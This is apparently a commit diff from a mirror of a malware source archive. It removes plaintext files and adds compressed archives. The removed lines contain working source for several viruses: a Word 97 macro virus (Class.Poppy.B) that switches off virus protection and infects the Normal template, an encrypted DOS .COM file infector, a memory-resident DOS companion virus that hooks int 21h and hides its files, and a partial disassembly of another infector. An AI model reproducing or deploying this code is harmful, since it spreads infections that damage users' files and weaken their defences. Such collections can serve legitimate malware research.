mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
mov fix
This commit is contained in:
parent
9432413cf6
commit
8c9f96fc5f
BIN
MSDOS/Virus.MSDOS.WWT.7z
Normal file
BIN
MSDOS/Virus.MSDOS.WWT.7z
Normal file
Binary file not shown.
BIN
MSDOS/Virus.MSDOS.WindowsVirus14aUnknown.7z
Normal file
BIN
MSDOS/Virus.MSDOS.WindowsVirus14aUnknown.7z
Normal file
Binary file not shown.
@ -1,128 +0,0 @@
|
|||||||
'W97/Class.Poppy.B
|
|
||||||
'Word 97 Class Object Infector
|
|
||||||
'First Ever Class Object Infetor
|
|
||||||
|
|
||||||
Sub AutoOpen()
|
|
||||||
|
|
||||||
' AutoOpen Sub In Document
|
|
||||||
|
|
||||||
On Error GoTo out
|
|
||||||
|
|
||||||
' Handle Errors
|
|
||||||
|
|
||||||
Options.VirusProtection = False
|
|
||||||
|
|
||||||
' Turn Off Virus Protection
|
|
||||||
|
|
||||||
Options.SaveNormalPrompt = False
|
|
||||||
|
|
||||||
' Turn Off Normal.dot Save Prompt
|
|
||||||
|
|
||||||
Options.ConfirmConversions = False
|
|
||||||
|
|
||||||
' Turn Off Conversion Prompt (from 95 -> 97)
|
|
||||||
|
|
||||||
ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
|
|
||||||
|
|
||||||
' Count The Number Of Code Lines In The Document
|
|
||||||
|
|
||||||
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
|
|
||||||
|
|
||||||
' Count The Number Of Code Lines In The Normal.dot
|
|
||||||
|
|
||||||
If nt > 70 And ad > 0 Then GoTo out
|
|
||||||
|
|
||||||
' If We Are Installed In Both (Lines > 0 and 72) Then Exit
|
|
||||||
|
|
||||||
If nt < 70 Then
|
|
||||||
|
|
||||||
' If We Are Not In The Normal.dot (Lines < 72) Then Install Us
|
|
||||||
|
|
||||||
Set infect = NormalTemplate.VBProject.VBComponents.Item(1)
|
|
||||||
|
|
||||||
' Set Normal.dot Class Section As Infect Object (What We Want To Infect)
|
|
||||||
|
|
||||||
ActiveDocument.VBProject.VBComponents.Item(1).Name = infect.Name
|
|
||||||
|
|
||||||
' Swamp The Class Section Names (Active Doc <- Normal Template)
|
|
||||||
|
|
||||||
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"
|
|
||||||
|
|
||||||
' Export Our Virus Code
|
|
||||||
|
|
||||||
End If
|
|
||||||
|
|
||||||
If ad = 0 Then Set infect = ActiveDocument.VBProject.VBComponents.Item(1)
|
|
||||||
|
|
||||||
' If We Are Not In The Active Doc (Lines < 0) Then Install Us
|
|
||||||
|
|
||||||
If Day(Now) = 14 And (Month(Now) > 5) Then MsgBox "I Think " & Application.UserName & " is a big stupid jerk!", 0, "VicodinES Loves You / Class.Poppy"
|
|
||||||
|
|
||||||
' If The Day And Time Are Right Insult The User
|
|
||||||
|
|
||||||
infect.codemodule.AddFromFile ("c:\class.sys")
|
|
||||||
|
|
||||||
' Use The Infect Object - Import Your Virus Code
|
|
||||||
|
|
||||||
With infect.codemodule
|
|
||||||
|
|
||||||
' With The Newly Infected Class Object
|
|
||||||
|
|
||||||
For x = 1 To 4
|
|
||||||
|
|
||||||
' Clean Up The First 4 Lines Of Header-Code
|
|
||||||
|
|
||||||
.deletelines 1
|
|
||||||
|
|
||||||
' Delete Line 1 - 4 Times
|
|
||||||
|
|
||||||
Next x
|
|
||||||
|
|
||||||
End With
|
|
||||||
|
|
||||||
If nt < 70 Then
|
|
||||||
|
|
||||||
' If We Just Infected The Normal.Dot
|
|
||||||
|
|
||||||
With infect.codemodule
|
|
||||||
|
|
||||||
.replaceline 1, "Sub AutoClose()"
|
|
||||||
|
|
||||||
' Change AutoOpen (on line 1) to AutoClose
|
|
||||||
|
|
||||||
.replaceline 71, "Sub ToolsMacro()"
|
|
||||||
|
|
||||||
' Change Sub ViewVBCode (on line 71) to ToolsMacro
|
|
||||||
|
|
||||||
End With
|
|
||||||
|
|
||||||
End If
|
|
||||||
|
|
||||||
With infect.codemodule
|
|
||||||
|
|
||||||
' With The Newly Infected Object
|
|
||||||
|
|
||||||
For x = 2 To 72 Step 2
|
|
||||||
|
|
||||||
' Use Word Object Data As Polymorpic Code On Every Other Line
|
|
||||||
|
|
||||||
.replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow
|
|
||||||
|
|
||||||
Next x
|
|
||||||
|
|
||||||
End With
|
|
||||||
|
|
||||||
out:
|
|
||||||
|
|
||||||
If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
|
|
||||||
|
|
||||||
' If We Just Infected A Document Save It On Close
|
|
||||||
|
|
||||||
End Sub
|
|
||||||
|
|
||||||
Sub ViewVBCode()
|
|
||||||
|
|
||||||
' Stealth Hook
|
|
||||||
|
|
||||||
End Sub
|
|
||||||
|
|
@ -1,225 +0,0 @@
|
|||||||
Model Tiny
|
|
||||||
.code
|
|
||||||
.286
|
|
||||||
org 100h
|
|
||||||
start:
|
|
||||||
push cs
|
|
||||||
push offset Entry
|
|
||||||
retf
|
|
||||||
db 'DrWeb - £®à¡ãå !'
|
|
||||||
BEG_LEN equ $-start
|
|
||||||
Entry:
|
|
||||||
pusha
|
|
||||||
push ds
|
|
||||||
push es
|
|
||||||
call En1
|
|
||||||
EN_LEN equ $-Entry
|
|
||||||
En1:
|
|
||||||
push ds
|
|
||||||
pop es
|
|
||||||
xchg ax,di
|
|
||||||
pop bp
|
|
||||||
sub bp,EN_LEN
|
|
||||||
mov bx,1100h
|
|
||||||
mov ah,4ah
|
|
||||||
int 21h
|
|
||||||
jnc ALLOCATED
|
|
||||||
Exit_Proc:
|
|
||||||
pop es
|
|
||||||
pop ds
|
|
||||||
popa
|
|
||||||
push cs
|
|
||||||
push si
|
|
||||||
retf
|
|
||||||
ALLOCATED:
|
|
||||||
mov ax,LBL
|
|
||||||
add ax,bp
|
|
||||||
mov cl,4
|
|
||||||
shr ax,cl
|
|
||||||
inc ax
|
|
||||||
push ds
|
|
||||||
pop bx
|
|
||||||
add ax,bx
|
|
||||||
push ax
|
|
||||||
push cs
|
|
||||||
pop ds
|
|
||||||
pop es
|
|
||||||
LBL10:
|
|
||||||
mov si, bp
|
|
||||||
cld
|
|
||||||
xor cx,cx
|
|
||||||
add si, Crypt_Start
|
|
||||||
LBL0:
|
|
||||||
mov ax,word ptr ds:[si]
|
|
||||||
inc cx
|
|
||||||
mov bx,word ptr ds:[si+2]
|
|
||||||
inc cx
|
|
||||||
xchg ah,al
|
|
||||||
inc cx
|
|
||||||
xchg bh,bl
|
|
||||||
inc cx
|
|
||||||
xchg ax,bx
|
|
||||||
xor ax,0BEBEh
|
|
||||||
xor bx,0BEBEh
|
|
||||||
mov word ptr ds:[si],ax
|
|
||||||
mov word ptr ds:[si+2],bx
|
|
||||||
add si,4
|
|
||||||
cmp cx, Crypt_LEN
|
|
||||||
jge LBL1
|
|
||||||
jmp short LBL0
|
|
||||||
LBL1:
|
|
||||||
Crypt_Start equ $-Entry
|
|
||||||
|
|
||||||
mov ah,1ah
|
|
||||||
mov dx,bp
|
|
||||||
add dx,Crypt_End
|
|
||||||
mov bx,dx
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
push es
|
|
||||||
push cs
|
|
||||||
pop es
|
|
||||||
mov di,100h
|
|
||||||
mov si,bp
|
|
||||||
add si,Old_BEGIN
|
|
||||||
mov cx,BEG_LEN
|
|
||||||
rep movsb
|
|
||||||
pop es
|
|
||||||
|
|
||||||
cld
|
|
||||||
mov ah,4eh
|
|
||||||
mov cx, 20h
|
|
||||||
mov dx,bp
|
|
||||||
add dx,C_Mask
|
|
||||||
Interrupt:
|
|
||||||
int 21h
|
|
||||||
jb Not_Found
|
|
||||||
jmp Test_File
|
|
||||||
Not_Found:
|
|
||||||
mov ah,1ah
|
|
||||||
mov dx,80h
|
|
||||||
int 21h
|
|
||||||
jmp Exit_Proc
|
|
||||||
Test_File:
|
|
||||||
push bx
|
|
||||||
add bx,1ah
|
|
||||||
mov ax,[bx]
|
|
||||||
and ax,0f000h
|
|
||||||
cmp ax,0f000h
|
|
||||||
jnz Len_Tested
|
|
||||||
Find_Next:
|
|
||||||
pop bx
|
|
||||||
mov ah,4fh
|
|
||||||
jmp Short Interrupt
|
|
||||||
Len_Tested:
|
|
||||||
add bx,04h
|
|
||||||
xchg dx,bx
|
|
||||||
mov ax,3d02h
|
|
||||||
int 21h
|
|
||||||
xchg ax,bx
|
|
||||||
mov ah,3fh
|
|
||||||
mov cx,BEG_LEN
|
|
||||||
mov dx,bp
|
|
||||||
add dx,Old_BEGIN
|
|
||||||
push dx
|
|
||||||
int 21h
|
|
||||||
pop si
|
|
||||||
cmp byte ptr ds:[si+14h],'!'
|
|
||||||
je Close_File
|
|
||||||
jmp short Uses_File
|
|
||||||
Close_File:
|
|
||||||
mov ah,3eh
|
|
||||||
int 21h
|
|
||||||
jmp Find_Next
|
|
||||||
|
|
||||||
Uses_File:
|
|
||||||
mov ax,4202h
|
|
||||||
xor cx,cx
|
|
||||||
xor dx,dx
|
|
||||||
int 21h
|
|
||||||
push ax
|
|
||||||
|
|
||||||
cld
|
|
||||||
mov si,bp
|
|
||||||
xor di,di
|
|
||||||
mov cx, Crypt_End / 2
|
|
||||||
rep movsw
|
|
||||||
|
|
||||||
pusha
|
|
||||||
push es
|
|
||||||
pop ds
|
|
||||||
xor cx,cx
|
|
||||||
mov si, Crypt_Start
|
|
||||||
LBL_0:
|
|
||||||
mov ax,word ptr ds:[si]
|
|
||||||
inc cx
|
|
||||||
mov bx,word ptr ds:[si+2]
|
|
||||||
inc cx
|
|
||||||
xchg ah,al
|
|
||||||
inc cx
|
|
||||||
xchg bh,bl
|
|
||||||
inc cx
|
|
||||||
xchg ax,bx
|
|
||||||
xor ax,0BEBEh
|
|
||||||
xor bx,0BEBEh
|
|
||||||
mov word ptr ds:[si],ax
|
|
||||||
mov word ptr ds:[si+2],bx
|
|
||||||
add si,4
|
|
||||||
cmp cx, Crypt_LEN
|
|
||||||
jge LBL_1
|
|
||||||
jmp short LBL_0
|
|
||||||
LBL_1:
|
|
||||||
popa
|
|
||||||
|
|
||||||
mov ah,40h
|
|
||||||
mov cx,Crypt_End
|
|
||||||
xor dx,dx
|
|
||||||
int 21h
|
|
||||||
mov ax,4200h
|
|
||||||
xor cx,cx
|
|
||||||
xor dx,dx
|
|
||||||
int 21h
|
|
||||||
push cs
|
|
||||||
pop ds
|
|
||||||
pop ax
|
|
||||||
pop si
|
|
||||||
push si
|
|
||||||
mov di,bp
|
|
||||||
add ax,100h
|
|
||||||
add di,New1
|
|
||||||
inc di
|
|
||||||
mov [di],ax
|
|
||||||
mov ah,40h
|
|
||||||
mov dx,bp
|
|
||||||
add dx,New_BEGIN
|
|
||||||
mov cx,BEG_LEN
|
|
||||||
int 21h
|
|
||||||
jmp Close_File
|
|
||||||
|
|
||||||
C_MASK equ $-Entry
|
|
||||||
db '*.com',0h
|
|
||||||
|
|
||||||
New_BEGIN equ $-Entry
|
|
||||||
push cs
|
|
||||||
LI:
|
|
||||||
New1 equ $-Entry
|
|
||||||
push offset Entry
|
|
||||||
retf
|
|
||||||
Apll equ $-Entry
|
|
||||||
Rems equ $-LI
|
|
||||||
db 'DrWeb - £®à¡ãå !'
|
|
||||||
|
|
||||||
Old_BEGIN equ $-Entry
|
|
||||||
db 0c3h
|
|
||||||
db BEG_LEN-1 dup (90h)
|
|
||||||
|
|
||||||
db 'RedArc // [TAVC]'
|
|
||||||
|
|
||||||
Crypt_End equ $-Entry
|
|
||||||
Crypt_LEN equ $-LBL1
|
|
||||||
|
|
||||||
DTA db 80h dup (?)
|
|
||||||
|
|
||||||
LBL equ $-Entry
|
|
||||||
|
|
||||||
end start
|
|
@ -1,289 +0,0 @@
|
|||||||
ideal
|
|
||||||
@date = 0355h ;21.10.1981
|
|
||||||
@time = 8E79h ;17:51:50
|
|
||||||
model tiny
|
|
||||||
codeseg
|
|
||||||
startupcode
|
|
||||||
jmp begin
|
|
||||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
||||||
macro intdos
|
|
||||||
pushf
|
|
||||||
call [dword cs:oi21]
|
|
||||||
endm
|
|
||||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
||||||
i21: push ax
|
|
||||||
xor al,al
|
|
||||||
cmp ah,3ch
|
|
||||||
jz okk
|
|
||||||
cmp ah,5bh
|
|
||||||
jz okk
|
|
||||||
cmp ah,3dh
|
|
||||||
jz okk
|
|
||||||
inc al
|
|
||||||
cmp ah,16h
|
|
||||||
jz okk
|
|
||||||
cmp ah,0fh
|
|
||||||
jnz ov0
|
|
||||||
okk: jmp ok
|
|
||||||
ov0: cmp ah,1ah
|
|
||||||
jz setdta
|
|
||||||
mov [byte cs:funct],12h
|
|
||||||
cmp ah,12h
|
|
||||||
jz fndf
|
|
||||||
cmp ah,11h
|
|
||||||
jz fndf
|
|
||||||
mov [byte cs:funct],4fh
|
|
||||||
cmp ah,4eh
|
|
||||||
jz fndh
|
|
||||||
cmp ah,4fh
|
|
||||||
jz fndh
|
|
||||||
ov: pop ax
|
|
||||||
db 0eah
|
|
||||||
oi21 dw 0
|
|
||||||
oi21s dw 0
|
|
||||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
||||||
setdta: mov [cs:dta],dx
|
|
||||||
mov [cs:dta+2],ds
|
|
||||||
jmp ov
|
|
||||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
||||||
fndh: pop ax
|
|
||||||
fnd0: intdos
|
|
||||||
jc fex
|
|
||||||
pushf
|
|
||||||
push si di es ds
|
|
||||||
lds si,[dword cs:dta]
|
|
||||||
compar: cmp [word si+16h],@time
|
|
||||||
jnz f10
|
|
||||||
cmp [word si+18h],@date
|
|
||||||
jnz f10
|
|
||||||
pop ds es di si
|
|
||||||
popf
|
|
||||||
lds dx,[dword cs:dta]
|
|
||||||
db 0b4h
|
|
||||||
funct db 4fh
|
|
||||||
jmp fnd0
|
|
||||||
f10: pop ds es di si
|
|
||||||
popf
|
|
||||||
fex: push ax bp
|
|
||||||
mov bp,sp
|
|
||||||
lahf
|
|
||||||
mov [ss:bp+8],ah
|
|
||||||
pop bp ax
|
|
||||||
iret
|
|
||||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
||||||
fndf: pop ax
|
|
||||||
fnf0: intdos
|
|
||||||
and al,al
|
|
||||||
jnz fex
|
|
||||||
pushf
|
|
||||||
push si di es ds
|
|
||||||
lds si,[dword cs:dta]
|
|
||||||
cmp [byte ds:si],0ffh
|
|
||||||
jnz f21
|
|
||||||
add si,7
|
|
||||||
f21: inc si
|
|
||||||
jmp compar
|
|
||||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
||||||
ok: push bx cx dx si di ds es
|
|
||||||
and al,al
|
|
||||||
jz nex
|
|
||||||
mov cx,6
|
|
||||||
mov ax,cs
|
|
||||||
mov es,ax
|
|
||||||
lea di,[ok1]
|
|
||||||
mov si,dx
|
|
||||||
rep cmpsw
|
|
||||||
jnz nex
|
|
||||||
pop es ds di si dx cx bx ax
|
|
||||||
mov ax,1313h
|
|
||||||
iret
|
|
||||||
nex:
|
|
||||||
xor ax,ax
|
|
||||||
mov ds,ax
|
|
||||||
mov ax,[ds:90h]
|
|
||||||
push ax
|
|
||||||
mov ax,[ds:92h]
|
|
||||||
push ax
|
|
||||||
mov [word ds:90h],offset i24
|
|
||||||
mov [word ds:92h],cs
|
|
||||||
|
|
||||||
mov bx,[ds:46ch]
|
|
||||||
mov ax,cs
|
|
||||||
mov ds,ax
|
|
||||||
mov es,ax
|
|
||||||
test bx,6C1h
|
|
||||||
jnz no_chg
|
|
||||||
cmp [byte pauss],0
|
|
||||||
jz chg1
|
|
||||||
dec [byte pauss]
|
|
||||||
jmp no_chg
|
|
||||||
chg1: mov [pauss],80
|
|
||||||
xor al,al
|
|
||||||
out 43h,al
|
|
||||||
jcxz $+2
|
|
||||||
in al,40h
|
|
||||||
mov bl,al
|
|
||||||
in al,40h
|
|
||||||
add al,bl
|
|
||||||
and al,1fh
|
|
||||||
cmp al,'Z'-'A'
|
|
||||||
jbe xx1
|
|
||||||
sub al,'Z'-'A'
|
|
||||||
xx1: add al,'A'
|
|
||||||
std
|
|
||||||
mov si,offset fname+6
|
|
||||||
lea di,[si+1]
|
|
||||||
mov cx,7
|
|
||||||
rep movsb
|
|
||||||
stosb
|
|
||||||
no_chg:
|
|
||||||
mov ah,5bh
|
|
||||||
lea dx,[fname]
|
|
||||||
mov cx,1
|
|
||||||
intdos
|
|
||||||
jc term
|
|
||||||
mov bx,ax
|
|
||||||
mov ah,40h
|
|
||||||
mov cx,offset endcod-100h
|
|
||||||
mov dx,100h
|
|
||||||
; inc [cs:count]
|
|
||||||
mov [cs:flag],0
|
|
||||||
intdos
|
|
||||||
cmp ax,offset endcod-100h
|
|
||||||
jnz ok1
|
|
||||||
mov [cs:flag],1
|
|
||||||
ok1: mov ax,5701h
|
|
||||||
mov cx,@time
|
|
||||||
mov dx,@date
|
|
||||||
intdos
|
|
||||||
|
|
||||||
mov ah,3eh
|
|
||||||
intdos
|
|
||||||
cmp [cs:flag],1
|
|
||||||
jz term
|
|
||||||
|
|
||||||
lea dx,[fname]
|
|
||||||
mov ax,4301h
|
|
||||||
xor cx,cx
|
|
||||||
intdos
|
|
||||||
lea dx,[fname]
|
|
||||||
mov ah,41h
|
|
||||||
; dec [cs:count]
|
|
||||||
intdos
|
|
||||||
term: xor ax,ax
|
|
||||||
mov ds,ax
|
|
||||||
pop ax
|
|
||||||
mov [ds:92h],ax
|
|
||||||
pop ax
|
|
||||||
mov [ds:90h],ax
|
|
||||||
ok0: pop es ds di si dx cx bx
|
|
||||||
jmp ov
|
|
||||||
driv db 0
|
|
||||||
flag db 0
|
|
||||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
||||||
i24: mov al,3
|
|
||||||
iret
|
|
||||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
||||||
begin: mov ah,16h
|
|
||||||
lea dx,[ok1]
|
|
||||||
int 21h
|
|
||||||
cmp ax,1313h
|
|
||||||
jnz b01
|
|
||||||
b02: int 20h
|
|
||||||
b01: mov ax,[ds:2ch]
|
|
||||||
mov ds,ax
|
|
||||||
xor si,si
|
|
||||||
cld
|
|
||||||
b04: lodsb
|
|
||||||
and al,al
|
|
||||||
jnz b04
|
|
||||||
lodsb
|
|
||||||
and al,al
|
|
||||||
jnz b04
|
|
||||||
inc si
|
|
||||||
inc si
|
|
||||||
b05: mov bx,si
|
|
||||||
b06: lodsb
|
|
||||||
cmp al,':'
|
|
||||||
jz b05
|
|
||||||
cmp al,'\'
|
|
||||||
jz b05
|
|
||||||
and al,al
|
|
||||||
jnz b06
|
|
||||||
mov cx,si
|
|
||||||
sub cx,bx
|
|
||||||
mov si,bx
|
|
||||||
mov di,offset fname
|
|
||||||
rep movsb
|
|
||||||
mov ah,2fh
|
|
||||||
int 21h
|
|
||||||
mov [cs:dta],bx
|
|
||||||
mov [cs:dta+2],es
|
|
||||||
mov [byte cs:pauss],0
|
|
||||||
mov ax,cs
|
|
||||||
mov ds,ax
|
|
||||||
dec ax
|
|
||||||
mov es,ax
|
|
||||||
|
|
||||||
mov cl,4
|
|
||||||
mov ax,offset endpr-100h
|
|
||||||
add ax,15
|
|
||||||
shr ax,cl
|
|
||||||
mov cx,[es:3]
|
|
||||||
sub [es:3],ax
|
|
||||||
mov bx,ax
|
|
||||||
mov ax,cs
|
|
||||||
add ax,[es:3]
|
|
||||||
sub ax,10h
|
|
||||||
mov [bseg],ax
|
|
||||||
cmp [byte es:0],'Z'
|
|
||||||
jz b10
|
|
||||||
|
|
||||||
push ds
|
|
||||||
mov ax,cs
|
|
||||||
add ax,cx
|
|
||||||
mov ds,ax
|
|
||||||
sub ax,bx
|
|
||||||
mov es,ax
|
|
||||||
sub ax,0fh
|
|
||||||
mov [cs:bseg],ax
|
|
||||||
xor si,si
|
|
||||||
mov di,si
|
|
||||||
mov cx,8
|
|
||||||
rep movsw
|
|
||||||
add [es:3],bx
|
|
||||||
sub [es:1],bx
|
|
||||||
pop ds
|
|
||||||
|
|
||||||
b10: mov ax,[bseg]
|
|
||||||
mov es,ax
|
|
||||||
mov si,100h
|
|
||||||
mov di,si
|
|
||||||
mov cx,offset endpr-100h
|
|
||||||
rep movsb
|
|
||||||
mov di,offset b03
|
|
||||||
xchg di,[0ah]
|
|
||||||
xchg ax,[0ch]
|
|
||||||
mov [es:oter],di
|
|
||||||
mov [es:oter+2],ax
|
|
||||||
ret
|
|
||||||
b03: push ax bx ds es cs
|
|
||||||
pop ds
|
|
||||||
mov ax,3521h
|
|
||||||
int 21h
|
|
||||||
mov [oi21],bx
|
|
||||||
mov [oi21s],es
|
|
||||||
mov ax,2521h
|
|
||||||
lea dx,[i21]
|
|
||||||
int 21h
|
|
||||||
pop es ds bx ax
|
|
||||||
db 0eah
|
|
||||||
endcod = $
|
|
||||||
oter dw 0
|
|
||||||
bseg dw ?
|
|
||||||
count dw ?
|
|
||||||
pauss db ?
|
|
||||||
fname db 13 dup (?)
|
|
||||||
dta dw ?,?
|
|
||||||
endpr = $
|
|
||||||
end
|
|
@ -1,487 +0,0 @@
|
|||||||
|
|
||||||
PAGE 59,132
|
|
||||||
|
|
||||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
||||||
;ÛÛ ÛÛ
|
|
||||||
;ÛÛ WVIR14 ÛÛ
|
|
||||||
;ÛÛ ÛÛ
|
|
||||||
;ÛÛ Created: 1-Sep-92 ÛÛ
|
|
||||||
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
|
||||||
;ÛÛ ÛÛ
|
|
||||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
||||||
|
|
||||||
data_11e equ 100h ;*
|
|
||||||
data_12e equ 140h ;*
|
|
||||||
data_13e equ 142h ;*
|
|
||||||
data_14e equ 144h ;*
|
|
||||||
data_15e equ 148h ;*
|
|
||||||
data_16e equ 14Ah ;*
|
|
||||||
data_17e equ 150h ;*
|
|
||||||
data_18e equ 16Eh ;*
|
|
||||||
data_19e equ 181h ;*
|
|
||||||
data_20e equ 19Ch ;*
|
|
||||||
data_21e equ 19Eh ;*
|
|
||||||
data_22e equ 1A0h ;*
|
|
||||||
data_23e equ 1A2h ;*
|
|
||||||
|
|
||||||
;------------------------------------------------------------ seg_a ----
|
|
||||||
|
|
||||||
seg_a segment byte public
|
|
||||||
assume cs:seg_a , ds:seg_a , ss:stack_seg_b
|
|
||||||
|
|
||||||
db 249 dup (0)
|
|
||||||
|
|
||||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
||||||
;
|
|
||||||
; Program Entry Point
|
|
||||||
;
|
|
||||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
||||||
|
|
||||||
|
|
||||||
wvir14 proc far
|
|
||||||
|
|
||||||
start:
|
|
||||||
mov ax,cs
|
|
||||||
add ax,3Bh
|
|
||||||
mov ds,ax
|
|
||||||
cld ; Clear direction
|
|
||||||
push es
|
|
||||||
push ds
|
|
||||||
pop es
|
|
||||||
mov si,data_18e
|
|
||||||
mov di,data_19e
|
|
||||||
mov cx,0Dh
|
|
||||||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
||||||
mov dx,data_17e
|
|
||||||
mov ah,1Ah
|
|
||||||
int 21h ; DOS Services ah=function 1Ah
|
|
||||||
; set DTA(disk xfer area) ds:dx
|
|
||||||
mov dx,17Bh
|
|
||||||
xor cx,cx ; Zero register
|
|
||||||
mov ah,4Eh
|
|
||||||
loc_1:
|
|
||||||
int 21h ; DOS Services ah=function 4Fh
|
|
||||||
; find next filename match
|
|
||||||
jc loc_2 ; Jump if carry Set
|
|
||||||
mov dx,data_18e
|
|
||||||
call sub_1
|
|
||||||
mov ah,4Fh ; 'O'
|
|
||||||
jmp short loc_1
|
|
||||||
loc_2:
|
|
||||||
mov dx,data_19e
|
|
||||||
call sub_2
|
|
||||||
pop es
|
|
||||||
mov ax,4C00h
|
|
||||||
int 21h ; DOS Services ah=function 4Ch
|
|
||||||
; terminate with al=return code
|
|
||||||
|
|
||||||
wvir14 endp
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_1 proc near
|
|
||||||
mov ax,3D02h
|
|
||||||
int 21h ; DOS Services ah=function 3Dh
|
|
||||||
; open file, al=mode,name@ds:dx
|
|
||||||
jc loc_ret_4 ; Jump if carry Set
|
|
||||||
xchg ax,bx
|
|
||||||
mov si,100h
|
|
||||||
call sub_3
|
|
||||||
jc loc_3 ; Jump if carry Set
|
|
||||||
cmp word ptr [si+14h],100h
|
|
||||||
je loc_3 ; Jump if equal
|
|
||||||
mov ax,5700h
|
|
||||||
int 21h ; DOS Services ah=function 57h
|
|
||||||
; get file date+time, bx=handle
|
|
||||||
; returns cx=time, dx=time
|
|
||||||
push cx
|
|
||||||
push dx
|
|
||||||
call sub_4
|
|
||||||
pop dx
|
|
||||||
pop cx
|
|
||||||
mov ax,5701h
|
|
||||||
int 21h ; DOS Services ah=function 57h
|
|
||||||
; set file date+time, bx=handle
|
|
||||||
; cx=time, dx=time
|
|
||||||
loc_3:
|
|
||||||
mov ah,3Eh
|
|
||||||
int 21h ; DOS Services ah=function 3Eh
|
|
||||||
; close file, bx=file handle
|
|
||||||
|
|
||||||
loc_ret_4:
|
|
||||||
retn
|
|
||||||
sub_1 endp
|
|
||||||
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_2 proc near
|
|
||||||
mov ax,3D02h
|
|
||||||
int 21h ; DOS Services ah=function 3Dh
|
|
||||||
; open file, al=mode,name@ds:dx
|
|
||||||
jc loc_ret_4 ; Jump if carry Set
|
|
||||||
xchg ax,bx
|
|
||||||
mov si,100h
|
|
||||||
call sub_3
|
|
||||||
jc loc_3 ; Jump if carry Set
|
|
||||||
cmp word ptr [si+14h],100h
|
|
||||||
jne loc_3 ; Jump if not equal
|
|
||||||
mov ax,5700h
|
|
||||||
int 21h ; DOS Services ah=function 57h
|
|
||||||
; get file date+time, bx=handle
|
|
||||||
; returns cx=time, dx=time
|
|
||||||
push cx
|
|
||||||
push dx
|
|
||||||
call sub_5
|
|
||||||
call sub_6
|
|
||||||
pop dx
|
|
||||||
pop cx
|
|
||||||
mov ax,5701h
|
|
||||||
int 21h ; DOS Services ah=function 57h
|
|
||||||
; set file date+time, bx=handle
|
|
||||||
; cx=time, dx=time
|
|
||||||
jmp short loc_3
|
|
||||||
sub_2 endp
|
|
||||||
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
